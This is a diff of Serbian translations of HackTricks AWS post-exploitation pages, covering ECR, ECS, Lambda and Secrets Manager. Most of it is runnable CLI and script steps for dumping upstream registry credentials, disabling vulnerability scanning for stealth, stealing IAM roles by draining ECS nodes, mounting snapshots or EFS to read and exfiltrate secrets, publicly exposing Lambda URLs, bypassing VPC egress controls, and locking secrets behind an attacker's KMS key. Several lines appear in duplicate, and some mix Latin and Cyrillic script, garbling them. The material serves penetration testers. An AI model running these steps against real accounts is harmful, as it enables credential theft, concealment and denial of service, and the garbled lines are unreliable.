Ako je ECR Pull‑Through Cache konfigurisana za autentifikovane upstream registrije (Docker Hub, GHCR, ACR, itd.), upstream kredencijali se čuvaju u AWS Secrets Manager sa predvidljivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok pristup za čitanje u AWS Secrets Manager‑u, što omogućava eksfiltraciju kredencijala i ponovno korišćenje van AWS‑a.
Zahtevi
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Navedite potencijalne PTC secrets
Izlistaj kandidatne PTC tajne
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Izdvoji pronađene tajne i parsiraj uobičajena polja
Dump otkrivene tajne i parsiraj uobičajena polja
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
Opcionalno: proveriti leaked creds prema upstream (read‑only login)
Opcionalno: proveriti leaked creds prema upstreamu (read‑only login)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impact
- Čitanje ovih Secrets Manager unosa daje ponovo upotrebljive pristupne akredencijale za upstream registry (korisničko ime/lozinka ili token), koje se mogu zloupotrebiti van AWS za preuzimanje privatnih image-ova ili pristup dodatnim repozitorijumima u zavisnosti od upstream dozvola.
Uticaj
- Čitanje ovih Secrets Manager unosa otkriva ponovo upotrebljive upstream registry credentials (username/password or token), koje se mogu zloupotrebiti izvan AWS da bi se pull private images ili pristupilo dodatnim repositories u zavisnosti od upstream permissions.
### Neprimetnost na nivou registrija: onemogući ili snizi skeniranje putem `ecr:PutRegistryScanningConfiguration`
### Stealth na nivou registra: onemogućite ili snizite skeniranje putem `ecr:PutRegistryScanningConfiguration`
Napadač sa ECR dozvolama na nivou registrija može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repozitorijume tako što će konfiguraciju skeniranja registrija postaviti na BASIC bez bilo kakvih scan-on-push rules. To sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne image-ove.
Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repositories tako što će podesiti registry scanning configuration na BASIC bez bilo kakvih scan-on-push pravila. Ovo sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne slike.
Requirements
Zahtevi
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Smanjenje na nivou celog registrija na ručni režim (bez automatskih skeniranja)
Smanjenje na nivou celog registra na manuelno (bez automatskog skeniranja)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -150,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
--scan-type BASIC \
--rules '[]'
```
Testiraj sa repo i image
Testiranje sa repo i image
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Opcionalno: dodatno degradirajte na nivou repozitorijuma
Opcionalno: dodatno degradiranje na nivou repozitorijuma
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -174,21 +168,21 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Uticaj
- Novi push-evi image-ova kroz registar se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili zlonamernog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje.
- Novi push-ovi image-a u registru se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili malicioznog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje.
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Degradacija engine-a skeniranja za ceo registar preko `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Smanjite kvalitet otkrivanja ranjivosti na nivou celog registra tako što ćete BASIC scan engine prebaciti sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može značajno promeniti rezultate/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste učinili skeniranja samo ručnim.
Smanjite kvalitet detekcije ranjivosti u čitavom registru prebacivanjem BASIC scan engine-a sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može bitno promeniti nalaze/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste skeniranja učinili isključivo ručnim.
Requirements
Zahtevi
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Opcionalno) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Uticaj
- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR` tako da naredna BASIC skeniranja rade sa degradiranim engine-om. CloudTrail beleži `PutAccountSetting` API poziv.
- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR`, tako da naredna BASIC skeniranja koriste degradirani engine. CloudTrail beleži `PutAccountSetting` API poziv.
Steps
Koraci
```bash
REGION=us-east-1
@@ -207,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
{{#include ../../../../banners/hacktricks-training.md}}

48
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
View File

@@ -12,33 +12,33 @@ Za više informacija pogledajte:
### Host IAM uloge
U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar containera. **Ako** se task izvršava unutar **EC2** instance, **EC2 instance** će imati pridruženu **drugu IAM** rolu.\
Što znači da ako uspete da **kompromitujete** ECS instancu možete potencijalno **dobiti IAM rolu pridruženu ECR-u i EC2 instanci**. Za više informacija o tome kako dobiti te kredencijale pogledajte:
U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar container-a. **Ako** se task pokreće unutar **EC2** instance, **EC2 instance** će imati **drugu IAM** rolu prikačenu na nju.\
To znači da ako uspete da **compromise** ECS instancu, potencijalno možete **dobiti IAM role povezane sa ECR i sa EC2 instancom**. Za više informacija o tome kako doći do tih credential-a pogledajte:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Imajte na umu da ako EC2 instance primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), odgovor na **PUT request** će imati **hop limit od 1**, što onemogućava pristup EC2 metadata sa containera unutar EC2 instance.
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
### Privesc to node to steal other containers creds & secrets
### Privesc na node da se ukradu kredencijali i tajne drugih container-a
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
Pored toga, EC2 koristi docker za pokretanje ECS task-ova, tako da ako uspete da escape-ujete na node ili **access the docker socket**, možete **proveriti** koji se **drugi container-i** pokreću, pa čak i **ući u njih** i **ukrasti njihove IAM role** koje su prikačene.
#### Navođenje containera da se pokreću na trenutnom hostu
#### Pokretanje container-a na trenutnom host-u
Osim toga, **EC2 instance role** obično će imati dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state instance na DRAINING**, nakon čega će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci**, potencijalno na **napadačevoj instanci**, tako da on može **ukrasti njihove IAM role** i potencijalne osetljive informacije iz containera.
Dodatno, **EC2 instance role** obično ima dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state of an instance to DRAINING**, tada će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci,** potencijalno unutar **attacker-ove instance**, tako da može **ukrasti njihove IAM role** i eventualno osetljive informacije iz unutar container-a.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
Ista tehnika se može uraditi i putem **deregistering the EC2 instance from the cluster**. Ovo je potencijalno manje diskretno, ali će **force the tasks to be run in other instances:**
Ista tehnika se može izvesti tako što ćete **odjaviti EC2 instancu iz clustera**. Ovo je potencijalno manje prikriveno, ali će to **naterati zadatke da se izvrše na drugim instancama:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Poslednja tehnika za forsiranje ponovnog izvršavanja tasks je da se ECS obavesti da je **task ili container zaustavljen**. Postoje 3 potencijalna API-ja za ovo:
Poslednja tehnika za primoravanje ponovnog izvršavanja tasks je da se ECS-u naznači da je **task or container was stopped**. Postoje 3 potencijalna API-ja da se to uradi:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -50,29 +50,27 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### Ukradite osetljive informacije iz ECR containers
### Ukradi osetljive informacije iz ECR kontejnera
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **preuzimanje image-ova** (you could search for sensitive info in them).
{{#include ../../../../banners/hacktricks-training.md}}
Instanca EC2 verovatno takođe ima dozvolu `ecr:GetAuthorizationToken` koja joj omogućava **preuzimanje image-a** (u njima možete tražiti osetljive informacije).
### Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)
Iskoristite nativnu ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz containera.
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno u novi ECS task/service i pročitate njegove podatke iz kontejnera.
- Potrebno (minimum):
- Potrebno (najmanje):
- ecs:RegisterTaskDefinition
- Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- Jedno od: ecs:RunTask ILI ecs:CreateService/ecs:UpdateService
- iam:PassRole na:
- ECS infrastructure role koja se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles na koje task definition referencira
- Ako je snapshot enkriptovan sa CMK: KMS dozvole za infra role (AWS managed policy iznad uključuje potrebne KMS grantove za AWS managed keys).
- ECS infrastructure role koji se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles koje task definition referencira
- Ako je snapshot enkriptovan CMK-om: KMS dozvole za infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. fajlovi baze podataka) unutar containera i eksfiltracija preko mreže/logova.
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. database files) unutar kontejnera i exfiltrate putem mreže/logova.
Koraci (primer Fargate):
Koraci (Fargate primer):
1) Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy:
```bash
@@ -81,7 +79,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registrujte task definiciju sa volumenom označenim kao `configuredAtLaunch` i montirajte ga u kontejner. Primer (ispiše tajnu pa zaspi):
2) Registrujte task definition sa volume-om označenim kao `configuredAtLaunch` i montirajte ga u container. Primer (ispiše secret, zatim spava):
```json
{
"family": "ht-ebs-read",
@@ -101,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a putem `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
```json
{
"cluster": "ht-ecs-ebs",
@@ -115,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Kada se zadatak pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj tački montiranja (npr., `/loot`). Exfiltrate putem mreže/logova zadatka.
4) Kada se task pokrene, container može da pročita sadržaj snapshot-a na konfigurisanoj mount putanji (npr. `/loot`). Exfiltrate putem mreže/logova task-a.
Čišćenje:
```bash
@@ -123,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
{{#include ../../../../banners/hacktricks-training.md}}

32
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
View File

@@ -1,21 +1,23 @@
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Krađa podataka)
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Abuse `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda, zatim deploy-ujete trivijalni kod koji nabraja/čita fajlove sa mountovane putanje da biste eksfiltrirali deljene tajne/konfiguracije kojima funkcija ranije nije imala pristup.
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristite `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda, zatim rasporedite trivijalan kod koji nabraja/čita fajlove iz mountovane putanje kako biste izvezli deljene tajne/konfiguraciju kojoj funkcija ranije nije imala pristup.
## Requirements
- Permissions on the victim account/principal:
- Dozvole na nalogu/principalu žrtve:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
- Pretpostavke okruženja:
- Ciljana Lambda ima VPC omogućen i njeni subneti/SG mogu da dosegnu EFS mount target SG preko TCP/2049 (npr. rola ima AWSLambdaVPCAccessExecutionRole i VPC rutiranje to dozvoljava).
- EFS Access Point se nalazi u istom VPC i ima mount targete u AZ-ovima subnet-a Lambda.
## Attack
- Varijable
## Napad
- Promenljive
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Prepišite code jednostavnim readerom koji nabraja fajlove i pregleda prvih 200 bajtova potencijalnog secret/config fajla
2) Overwrite code jednostavnim readerom koji nabraja fajlove i prikazuje prvih 200 bajtova potencijalnog secret/config file
```
cat > reader.py <<PY
import os, json
@@ -57,18 +59,18 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Pozovite i preuzmite podatke
3) Pozvati i preuzeti podatke
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Izlaz treba da sadrži listing direktorijuma pod /mnt/ht i kratak pregled odabranog secret/config fajla iz EFS.
Izlaz bi trebalo да sadrži listing direktorijuma под /mnt/ht и kratak prikaz izabранog secret/config fajla са EFS.
## Impact
Napadač sa navedenim dozvolama može da montira proizvoljne in-VPC EFS Access Points u ciljne Lambda funkcije kako bi pročitao i exfiltrirao deljenu konfiguraciju i secrets pohranjene na EFS koje su prethodno bile nedostupne toj funkciji.
## Uticaj
Napadač са наведеним привилегијама може mount-овати произвољне in-VPC EFS Access Points у жртвине Lambda функције како би прочитао и изнео делјену конфигурацију и secrets услaдиштене на EFS које су претходно биле недоступне тој функцији.
## Cleanup
## Čišćenje
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}

30
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
View File

@@ -1,38 +1,40 @@
# AWS - Lambda Function URL Јавно излагање (AuthType NONE + Public Invoke Policy)
# AWS - Lambda Function URL Javno izlaganje (AuthType NONE + Public Invoke Policy)
Претвори приватни Lambda Function URL у јавно неаутентификован endpoint тако што ћеш променити Function URL AuthType у NONE и додати resource-based policy који додељује lambda:InvokeFunctionUrl свима. Ово омогућава анонимно позивање интерних функција и може открити осетљиве backend операције.
{{#include ../../../../banners/hacktricks-training.md}}
## Како злоупотребити
Pretvorite privatni Lambda Function URL u javni neautentifikovani endpoint tako što ćete promeniti Function URL AuthType na NONE i prikačiti resource-based policy koja dodeljuje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pokretanje internih funkcija i može izložiti osetljive backend operacije.
- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Регион: us-east-1
## Zloupotreba
### Кораци
1) Увери се да функција има Function URL (подразумевано AWS_IAM):
- Preduslovi: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
### Koraci
1) Proverite da funkcija ima Function URL (podrazumevano AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Промени URL у јаван (AuthType NONE):
2) Prebacite URL u javni režim (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Додај resource-based policy изјаву која дозвољава неаутиентификоване principals:
3) Dodajte izjavu resource-based policy da biste dozvolili neautentifikovanim principalima:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Преузми URL и позови без акредитива:
4) Dohvatite URL i pozovite bez kredencijala:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Утицај
- Lambda функција постаје анонимно доступна преко интернета.
### Uticaj
- Lambda funkcija postaje anonimno dostupna preko interneta.
### Пример излаза (неаутентификован 200)
### Primer izlaza (neautentifikovano 200)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
{{#include ../../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
View File

@@ -1,12 +1,16 @@
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Iskoristite `lambda:PutRuntimeManagementConfig` da fiksirate funkciju na određenu verziju runtime-a (Manual) ili da zamrznete ažuriranja (FunctionUpdate). Ovo očuvava kompatibilnost sa malicioznim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u radi olakšanja eksploatacije i dugotrajne perzistencije.
{{#include ../../../../banners/hacktricks-training.md}}
Zahtevi: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Iskoristite `lambda:PutRuntimeManagementConfig` da zakačite funkciju na određenu verziju runtime-a (Manual) ili zamrznete ažuriranja (FunctionUpdate). Ovo održava kompatibilnost sa malicioznim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u radi olakšavanja eksploatacije i dugoročne perzistencije.
Requirements: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Primer (us-east-1):
- Poziv: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Zamrzavanje ažuriranja: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Provera: `aws lambda get-runtime-management-config --function-name --region us-east-1`
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Opcionalno možete fiksirati na specifičnu verziju runtime-a izvlačenjem Runtime Version ARN iz INIT_START logova i korišćenjem `--update-runtime-on Manual --runtime-version-arn <arn>`.
Opcionalno zakačite na određenu verziju runtime-a izvlačenjem Runtime Version ARN iz INIT_START logova i koristeći `--update-runtime-on Manual --runtime-version-arn <arn>`.
{{#include ../../../../banners/hacktricks-training.md}}

33
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
View File

@@ -1,16 +1,18 @@
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Prisilite Lambda funkciju da izađe iz ograničenog VPC-a tako što ćete ažurirati njenu konfiguraciju sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će zatim raditi u Lambda-managed mrežnom sloju, ponovo dobijajući outbound internet pristup i zaobilaženje egress kontrola koje nameću privatni VPC subnets bez NAT-a.
{{#include ../../../../banners/hacktricks-training.md}}
## Zloupotreba
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
- Pre-reqs: lambda:UpdateFunctionConfiguration na ciljnoj funkciji (i lambda:InvokeFunction za validaciju), plus dozvole za ažuriranje koda/handler-a ako ih menjate.
- Pretpostavke: Funkcija je trenutno konfigurisana sa VpcConfig koji pokazuje na privatne subnets bez NAT-a (tako da je outbound internet blokiran).
## Abusing it
- Preduslovi: lambda:UpdateFunctionConfiguration na ciljnoj funkciji (i lambda:InvokeFunction za validaciju), plus permisije za update code/handler ako ih menjate.
- Pretpostavke: Funkcija je trenutno konfigurisana sa VpcConfig koji pokazuje na private subnets bez NAT (dakle outbound internet je blokiran).
- Region: us-east-1
### Koraci
### Steps
0) Pripremite minimalan handler koji dokazuje da outbound HTTP radi
0) Prepare a minimal handler that proves outbound HTTP works
cat > net.py <<'PY'
import urllib.request, json
@@ -26,12 +28,12 @@ zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Zabeležite trenutnu VPC konfiguraciju (da biste je vratili kasnije ako je potrebno)
1) Record current VPC config (to restore later if needed)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) Odvojite VPC tako što ćete postaviti prazne liste
2) Detach the VPC by setting empty lists
aws lambda update-function-configuration \
--function-name $TARGET_FN \
@@ -39,25 +41,26 @@ aws lambda update-function-configuration \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Invoke-ujte i verifikujte outbound pristup
3) Invoke and verify outbound access
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Vratite originalnu VPC konfiguraciju
(Optional) Restore original VPC config
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Uticaj
- Funkcija ponovo dobija neograničen outbound internet pristup, što omogućava data exfiltration ili C2 iz workload-a koji su namerno izolovani u privatnim subnets bez NAT-a.
### Impact
- Povraća neograničen outbound internet iz funkcije, omogućavajući exfiltration podataka ili C2 iz workload-ova koji su namerno izolovani u private subnets bez NAT.
### Primer izlaza (nakon uklanjanja VpcConfig)
### Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Čišćenje
- Ako ste napravili privremene izmene koda/handler-a, vratite ih.
### Cleanup
- Ako ste napravili privremene promene u code/handler-u, vratite ih.
- Opcionalno vratite originalni VpcConfig sačuvan u /tmp/orig-vpc.json kao što je prikazano iznad.
{{#include ../../../../banners/hacktricks-training.md}}

53
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
View File

@@ -4,22 +4,22 @@
## Secrets Manager
Za više informacija pogledajte:
For more information check:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Čitanje tajni
### Čitanje Secrets
**Tajne su same po sebi osetljive informacije**, [pogledajte privesc stranicu](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) da naučite kako ih pročitati.
Sami **secrets** su osetljive informacije, [pogledajte privesc stranicu](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) da naučite kako da ih pročitate.
### DoS Promena vrednosti tajne
### DoS — promena vrednosti secret-a
Promenom vrednosti tajne možete izazvati **DoS svih sistema koji zavise od te vrednosti.**
Promenom vrednosti secret-a možete izazvati **DoS svih sistema koji zavise od te vrednosti.**
> [!WARNING]
> Imajte na umu da se prethodne vrednosti takođe čuvaju, tako da je lako vratiti se na prethodnu vrednost.
> Obratite pažnju da se prethodne vrednosti takođe čuvaju, pa je lako vratiti prethodnu vrednost.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
```
### DoS Change KMS key
Ako napadač ima dozvolu secretsmanager:UpdateSecret, može konfigurisati secret da koristi KMS key u vlasništvu napadača. Taj KMS key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim ključem. Ako ključ nije bio dostupan, secret se ne bi mogao ažurirati.
Ako napadač ima permisiju secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS ključ koji napadač poseduje. Taj ključ je inicijalno podešen tako da svako može pristupiti i koristiti ga, pa je moguće ažurirati secret novim ključem. Ako ključ nije bio dostupan, secret ne bi mogao biti ažuriran.
Nakon promene key‑a za secret, napadač menja konfiguraciju svog key‑a tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti šifrovane novim key‑om, i pošto neće postojati pristup tom key‑u, mogućnost preuzimanja secreta biće izgubljena.
Nakon promene ključa za secret, napadač menja konfiguraciju svog ključa tako da samo on može pristupiti. Na taj način, u narednim verzijama secreta biće šifrovane novim ključem, i pošto nema pristupa tom ključu, mogućnost preuzimanja secreta biće izgubljena.
Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija još uvek šifrovana originalnim KMS key‑em.
Važno je napomenuti da će ova nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija i dalje šifrovana originalnim KMS ključem.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Brisanje tajne
### DoS Brisanje Secret
Minimalan broj dana za brisanje tajne je 7.
Minimalan broj dana za brisanje secret-a je 7
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
@@ -48,7 +48,7 @@ aws secretsmanager delete-secret \
```
## secretsmanager:RestoreSecret
Moguće je vratiti tajnu, što omogućava obnavljanje tajni koje su zakazane za brisanje, pošto je minimalni period brisanja 7 dana, a maksimalni 30 dana. U kombinaciji sa dozvolom secretsmanager:GetSecretValue, ovo omogućava pristup njihovom sadržaju.
